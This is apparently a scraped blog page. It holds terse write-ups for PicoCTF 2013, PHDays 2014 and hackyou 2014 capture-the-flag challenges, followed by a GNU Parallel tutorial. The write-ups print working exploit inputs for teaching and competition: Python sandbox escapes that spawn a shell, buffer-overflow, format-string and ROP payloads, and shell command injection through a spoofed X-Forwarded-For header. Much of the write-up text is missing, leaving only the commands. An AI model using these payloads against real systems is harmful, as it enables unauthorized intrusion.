$decompile('HexGame.class')$cat evergreen.py$./evergreen.py
# PicoCTF 2k13 - Evergreen
Labels:
class,
decompiler,
java,
picoctf,
reverse
# PicoCTF 2k13 - Python Eval 3
$cat task3.py$nc python.picoctf.com 6363Welcome to the food menu! Which description do you want to read? [ 0] $ 7.69 Chicken Asada Burrito [ 1] $ 6.69 Beef Chow Mein [ 2] $ 10.49 MeatBurger Deluxe >path.warnings.catch_warnings.__init__.func_globals['linecache'].__dict__['os'].system('/bin/sh')>path.os.execlp('sh','')idlscat your_flag_here
# PicoCTF 2k13 - Overflow 2
$cat stack_overwrite.c$./stack_overwrite `python -c 'print "\x90"*80 + "\x01"'`sh-4.2$cat key
# PicoCTF 2k13 - Format 1
$cat format1.c$(python -c 'print "\x2c\xa0\x04\x08%11$n"'; cat) | ./format1$(python -c 'print "\x2b\xa0\x04\x08" + "%x"*9 + "%.976x%n"'; cat) | ./format1cat key
Labels:
format_string,
picoctf
# PicoCTF 2k13 - Chromatophoria
In [1]:import ImageIn [2]:import binasciiIn [3]:png = Image.open('steg.png')In [4]:pix = png.load()In [5]:png.sizeIn [6]:for i in xrange (0,800): print '%02x%02x%02x' % (pix[i,0][0],pix[i,0][1],pix[i,0][2]),In [7]:for i in xrange (0,800): print '%02x%02x%02x' % (pix[i,1][0],pix[i,1][1],pix[i,1][2]),In [8]:string = ''In [9]:for i in xrange (0,800): r,g,b = pix[i,0] r -= 254 g -= 254 b -= 254 string += str(r) + str(g) + str(b)In [10]:binascii.unhexlify('%x' % int(string,2))
Labels:
picoctf,
steganography
# PicoCTF 2k13 - ROP 1
$cat rop1.c$(python -c 'print "\x90"*140 + "\xa4\x84\x04\x08"'; cat) | ./rop1cat key
# PicoCTF 2k13 - Overflow 1
$cat simple_overwrite.c$./simple_overwrite `python -c 'print "\x90"*64 + "\x01"'`sh-4.2$cat key
# PHDays CTF Quals 2k14 - Mp3 me (1400 points)
#Referenceshexdump -C ../123.mp3 | head -n 135,183, NULL0,42,159194,244,6847,77,644,73,141140,207,72120,156,203 #cat mp3me.py#./mp3me.py
http://en.wikipedia.org/wiki/ID3
http://www.ietf.org/rfc/rfc1950.txt
# PHDays CTF Quals 2k14 - Yet Another Pyjail (3900 points)
#cat jail.py#python jail.pyleetleetleetleetf = div(1) nf = type(div)(f.func_code, type({})(EXPECTED=1, int=type(1)), closure=f.func_closure) nf(1) ---
f = div(1337)
nf = type(div)(f.func_code, type({})(EXPECTED=13.37, int=type(1.)), closure=f.func_closure)
nf(100)
---
f = div(1)
nf = type(div)(f.func_code, {f.func_code.co_names[0]: int, f.func_code.co_names[1]: 1}, closure=f.func_closure)
nf(1)
---
f = div(1337)
nf = type(div)(f.func_code, {f.func_code.co_names[0]: type(1.), f.func_code.co_names[1]: 13.37}, closure=f.func_closure)
nf(100)
---
#div.func_closure[8].cell_contents()
#div.func_closure[9].cell_contents()
#---
def get_cell_value(cell):
return type(lambda: 0)(
(lambda x: lambda: x)(0).func_code, {}, None, None, (cell,)
)()
get_cell_value(div.func_closure[8])()
get_cell_value(div.func_closure[9])()
---# hackyou 2k14: Crypto - Hashme (200 points)
#cat crypto-200.py#./crypto-200.py
References
http://en.wikipedia.org/wiki/Length_extension_attack
# hackyou 2k14: Network - Jailbreaker (200 points)
There was a nice Christmas release from Evad3rs to jailbreak iOS 7, but it doesn't handle my Apple TV 3G!
Develop an Apple TV jailbreak real quick, and prove filesystem access by showing me any internal system binary from the latest firmware.
Send as attachment to net200@ctf.su
(and allow some time for manual check)
#Referenceswget http://appldnld.apple.com/iOS7/031-2705.20140120.R10Fe/com_apple_MobileAsset_SoftwareUpdate/3a1de804a6a9ef6d838654d27d3a8de36003773f.zip#unzip 3a1de804a6a9ef6d838654d27d3a8de36003773f.zip#find . -type f | grep replace
http://en.wikipedia.org/wiki/Delta_update
http://theiphonewiki.com/wiki/OTA_Updates
# hackyou 2k14: Web - Snake (200 points)
Using curl
#Using pythoncurl --silent --request POST --data 'login=web200&password=web200&submit=OK' http://hackyou2014tasks.ctf.su:20080/cgi-bin/register.pl#curl --silent --cookie-jar web-200 --request POST --data 'login=web200&password=web200&submit=OK' http://hackyou2014tasks.ctf.su:20080/cgi-bin/index.pl#curl --silent --cookie web-200 --request GET http://hackyou2014tasks.ctf.su:20080/cgi-bin/index.pl?ip=1.2.3.4#curl --silent --cookie web-200 --request GET http://hackyou2014tasks.ctf.su:20080/cgi-bin/index.pl?ip=../../index.pl#echo -n 'ls /' | xxd -p#curl --silent --cookie web-200 --request POST --header 'X-Forwarded-For: |`echo -n 6c73202f | xxd -p -r`|' --data 'playerName=web200&playerScore=1&hash=a608555a0edc1aadefee6151550fa879' http://hackyou2014tasks.ctf.su:20080/cgi-bin/save.pl#curl --silent --cookie web-200 --request GET 'http://hackyou2014tasks.ctf.su:20080/cgi-bin/index.pl?ip=|`echo+-n+6c73202f+|+xxd+-p+-r`|' | grep CTF
#Referencescat web-200.py#./web-200.py
http://en.wikipedia.org/wiki/X-Forwarded-For
http://en.wikipedia.org/wiki/Local_File_Inclusion
http://www.ccsf.edu/Pub/Perl/perlfunc/open.html
# hackyou 2k14: PPC - Play with me (200 points)
#cat game.py#./game.py hackyou2014tasks.ctf.su 9876
Labels:
backtracking,
ctf,
hackyou,
ppc
# hackyou 2k14: Crypto - Easy one (100 points)
#cat encryptor.c#cat crypto.py#./crypto.py#cat decryptor.c#gcc -o decryptor decryptor.c#./decryptor msg002.enc msg002#cat msg002
# hackyou 2k14: Network - PCAP (100 points)
#tshark -V -r net100.pcap -R "frame.number==3" | grep Authorization | tr ',' '\n'#cat network.py#./network.py
Labels:
ctf,
digest_auth,
hackyou,
network,
pcap
# hackyou 2k14: Reverse - NotEasyTask (100 points)
ILSpy decompilation
C:\>reverse100.exe(2) C:\>nc -l 127.0.0.1 31337(1)
# hackyou 2k14: PPC - Trash (100 points)
#cat decode-qr.py#./decode-qr.py#file='my.zip'; while [ true ]; do nfile=`unzip $file | grep inflating | awk '{print $2}'`; rm $file; file=$nfile; if [ `echo -n $file | wc -c` -ne 36 ]; then break; fi; done; echo $file#cat decode-pickle.py#./decode-pickle.py $file
# GNU Parallel tutorial
Prerequisites
#mkdir parallel_tutorial#cd parallel_tutorial#GET=$(echo wget -qO -)#LATEST=$($GET http://ftpmirror.gnu.org/parallel | perl -ne '/(parallel-\d{8})/ and print $1."\n"' | sort | tail -n1)#$GET http://ftpmirror.gnu.org/parallel/$LATEST.tar.bz2 > $LATEST.tar.bz2#$GET http://ftpmirror.gnu.org/parallel/$LATEST.tar.bz2.sig > $LATEST.tar.bz2.sig#gpg --keyserver keys.gnupg.net --recv-key 88888888#gpg --with-fingerprint $LATEST.tar.bz2.sig 2>&1 | grep -e RSA -e 'CDA0 1A42 08C4 F745 0610 7E7B D1AB 4516 8888 8888'#bzip2 -dc $LATEST.tar.bz2 | tar xf -#cd $LATEST#./configure#make#make install#echo -e '--gnu' > /etc/parallel/config#cd ..#rm -rf $LATEST*#which parallel#file /usr/local/bin/parallel#parallel --bibtex>will cite#parallel -k echo ::: A B C > abc-file#parallel -k echo ::: D E F > def-file#perl -e 'printf "A\0B\0C\0"' > abc0-file#perl -e 'printf "A_B_C_"' > abc_-file#perl -e 'printf "f1\tf2\nA\tB\nC\tD\n"' > tsv-file.tsv#perl -e 'for(1..30000){print "$_\n"}' > num30000#perl -e 'for(1..1000000){print "$_\n"}' > num1000000#(echo %head1; echo %head2; perl -e 'for(1..10){print "$_\n"}') > num_%header#SERVER1=192.168.1.1#SERVER2=192.168.1.2#ssh-keygen#ssh-copy-id -i /root/.ssh/id_rsa.pub $SERVER1#ssh-copy-id -i /root/.ssh/id_rsa.pub $SERVER2#ssh $SERVER1 echo works#ssh $SERVER2 echo works
A single input source
#parallel echo ::: A B C#parallel -a abc-file echo#cat abc-file | parallel echo
Multiple input sources
#parallel echo ::: A B C ::: D E F#parallel -a abc-file -a def-file echo#cat abc-file | parallel -a - -a def-file echo#cat abc-file | parallel echo :::: - def-file#parallel echo ::: A B C :::: def-file#parallel --xapply echo ::: A B C D E ::: F G#parallel --xapply echo ::: A B C D E ::: F G
Changing the argument separator/delimiter
#parallel --arg-sep ,, --arg-file-sep // echo ,, A B C // def-file#parallel -d _ echo :::: abc_-file#parallel -d '\0' echo :::: abc0-file#parallel -0 echo :::: abc0-file
End-of-file value for input source
# parallel -E stop echo ::: A B stop C D
Skipping empty lines
# echo -e "1\n\n\n\n\n2\n" | parallel --no-run-if-empty echo
No command means arguments are commands
# parallel ::: ls 'echo foo' pwd
The 5 replacement strings
#parallel echo ::: A/B.C#parallel echo {} ::: A/B.C#parallel echo {.} ::: A/B.C#parallel echo {/} ::: A/B.C#parallel echo {//} ::: A/B.C#parallel echo {/.} ::: A/B.C#parallel echo {#} ::: A B C # gives the job number
Changing the replacement strings
#parallel -I ,, echo ,, ::: A/B.C#parallel --extensionreplace ,, echo ,, ::: A/B.C#parallel --basenamereplace ,, echo ,, ::: A/B.C#parallel --dirnamereplace ,, echo ,, ::: A/B.C#parallel --basenameextensionreplace ,, echo ,, ::: A/B.C#parallel --seqreplace ,, echo ,, ::: A B C
Positional replacement strings
#parallel echo {1} and {2} ::: A B ::: C D#parallel echo /={1/} //={1//} /.={1/.} .={1.} ::: A/B.C D/E.F#parallel echo 1={1} 2={2} 3={3} -1={-1} -2={-2} -3={-3} ::: A B ::: C D ::: E F
Input from columns
# parallel --colsep '\t' echo 1={1} 2={2} :::: tsv-file.tsv
Header defined replacement strings
# parallel --header : --colsep '\t' echo f1={f1} f2={f2} :::: tsv-file.tsv
More than one argument
#cat num30000 | parallel --xargs echo | wc -l#cat num30000 | parallel --xargs -s 10000 echo | wc -l#cat num30000 | parallel --jobs 4 -m echo | wc -l#parallel --jobs 4 -m echo pre-{}-post ::: A B C D E F G#parallel --jobs 4 -X echo pre-{}-post ::: A B C D E F G#parallel -N3 echo ::: A B C D E F G H
Quoting
#parallel -q perl -e 'print "@ARGV\n"' ::: This works#parallel perl -e \''print "@ARGV\n"'\' ::: This works
Trimming space
#parallel --trim r echo pre-{}-post ::: ' A '#parallel --trim l echo pre-{}-post ::: ' A '#parallel --trim lr echo pre-{}-post ::: ' A '
Controling the output
#parallel --tag echo foo-{} ::: A B C#parallel --tagstring {}-bar echo foo-{} ::: A B C#parallel --dryrun echo {} ::: A B C#parallel --verbose echo {} ::: A B C#parallel -j2 'printf "%s-start\n%s" {} {};sleep {};printf "%s\n" -middle;echo {}-end' ::: 4 2 1#parallel -j2 --ungroup 'printf "%s-start\n%s" {} {};sleep {};printf "%s\n" -middle;echo {}-end' ::: 4 2 1#parallel -j2 --linebuffer 'printf "%s-start\n%s" {} {};sleep {};printf "%s\n" -middle;echo {}-end' ::: 4 2 1#parallel -j2 -k 'printf "%s-start\n%s" {} {};sleep {};printf "%s\n" -middle;echo {}-end' ::: 4 2 1
Saving output into files
#parallel --files ::: A B C#parallel --tmpdir /var/tmp --files ::: A B C#TMPDIR=/var/tmp parallel --files ::: A B C#parallel --results outdir echo ::: A B C#find outdir | grep std
Number of simultaneous jobs
## 64 jobs/#core#/usr/bin/time parallel -N0 -j64 sleep 1 ::: {1..128}## 1 job/#core#/usr/bin/time parallel -N0 sleep 1 ::: {1..128}##2 jobs for each core#/usr/bin/time parallel -N0 --jobs 200% sleep 1 ::: {1..128}##Run as may jobs in parallel as possible#/usr/bin/time parallel -N0 --jobs 0 sleep 1 ::: {1..128}#parallel --use-cpus-instead-of-cores -N0 sleep 1 ::: {1..128}
Interactiveness
#parallel --interactive echo ::: 1 2 3#parallel -X --dry-run --tty vi ::: 1 2 3#parallel --dry-run --tty vi ::: 1 2 3
Timing
#parallel --delay 2.5 echo Starting {}\;date ::: 1 2 3#parallel --timeout 2.1 sleep {}\; echo {} ::: 1 2 3 4#parallel --timeout 200% sleep {}\; echo {} ::: 2.1 2.2 3 7 2.3#parallel --eta sleep ::: 1 3 2 2 1 3 3 2 1
Progress
#parallel --progress sleep ::: 1 3 2 2 1 3 3 2 1#parallel --joblog /tmp/log exit ::: 1 2 3 0#cat /tmp/log
Termination
#parallel -j2 --halt 1 echo {}\; exit {} ::: 0 0 1 2 3#parallel -j2 --halt 2 echo {}\; exit {} ::: 0 0 1 2 3#parallel -k --retries 3 'echo tried {} >>/tmp/runs; echo completed {}; exit {}' ::: 1 2 0#cat /tmp/runs
Limiting the ressources
#parallel --load 100% echo load is less than {} job per cpu ::: 1#parallel --noswap echo the system is not swapping ::: now#parallel --nice 17 echo this is being run with nice -n ::: 17
Sshlogin
#parallel -S 1/$SERVER1 echo running on {} (1 CPU)::: $SERVER1#parallel -S $SERVER1,$SERVER2 'hostname; echo {}' ::: running on more hosts
Transferring files
#echo This is input_file > input_file#parallel -S $SERVER1 --transfer --return {}.out --cleanup cat {} ">" {}.out ::: input_file#cat input_file.out#echo common data > common_file#parallel --basefile common_file -S $SERVER1 --cleanup cat common_file\; echo {} ::: foo
Running the same commands on all hosts
#parallel --onall -S $SERVER1,$SERVER2 echo ::: foo bar#parallel --nonall -S $SERVER1,$SERVER2 echo foo bar
References
http://www.gnu.org/software/parallel/parallel_tutorial.html
Labels:
parallel
Subscribe to:
Posts (Atom)